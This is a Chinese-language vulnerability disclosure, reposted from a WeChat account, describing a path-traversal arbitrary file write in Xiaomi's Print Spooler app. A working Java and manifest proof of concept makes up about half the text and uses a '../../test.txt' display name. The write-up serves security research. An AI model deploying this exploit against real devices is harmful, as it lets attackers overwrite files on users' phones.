Print Spooler 应用程序 ( com.android.printspooler
) 的过度安全扫描报告包含以下漏洞:
这个应用程序也来自AOSP,但已经被小米打了补丁。应用程序处理导出的第三方 URI com.android.printspooler.convertpdf.ConvertPdfAlertActivity
活动。它会自动缓存其中的内容,并使用攻击者控制的_display_name
值来形成输出文件路径。该应用程序使用androidx.documentfile
AndroidX 库。然而,它和 Android Framework 类,例如 android.provider.DocumentsProvider
不要以任何方式验证值。这使得攻击者可以注入特殊字符,如/
并扩展攻击。
概念验证
文件AndroidManifest.xml
:
<provider android:name=".MyContentProvider" android:authorities="test.provider" android:exported="true" />
文件MainActivity.java
:
Intent i = new Intent();
i.setData(Uri.parse("content://test.provider/something"));
i.setClassName("com.android.printspooler", "com.android.printspooler.convertpdf.ConvertPdfAlertActivity");
startActivity(i);
文件MyContentProvider.java
:
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
MatrixCursor matrixCursor = new MatrixCursor(new String[]{"_display_name"});
matrixCursor.addRow(new Object[]{"../../test.txt"});
return matrixCursor;
}
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
return ParcelFileDescriptor.open(makeFile(), ParcelFileDescriptor.MODE_READ_ONLY);
}
private File makeFile() {
File path = new File(getContext().getApplicationInfo().dataDir, "test.txt");
if (!path.exists()) {
try (OutputStream outputStream = new FileOutputStream(path)) {
outputStream.write("test".getBytes());
} catch (Throwable th) {
throw new RuntimeException(th);
}
}
return path;
}
原文始发于微信公众号(合规渗透):小米设备 打印后台处理程序存在任意文件写入漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论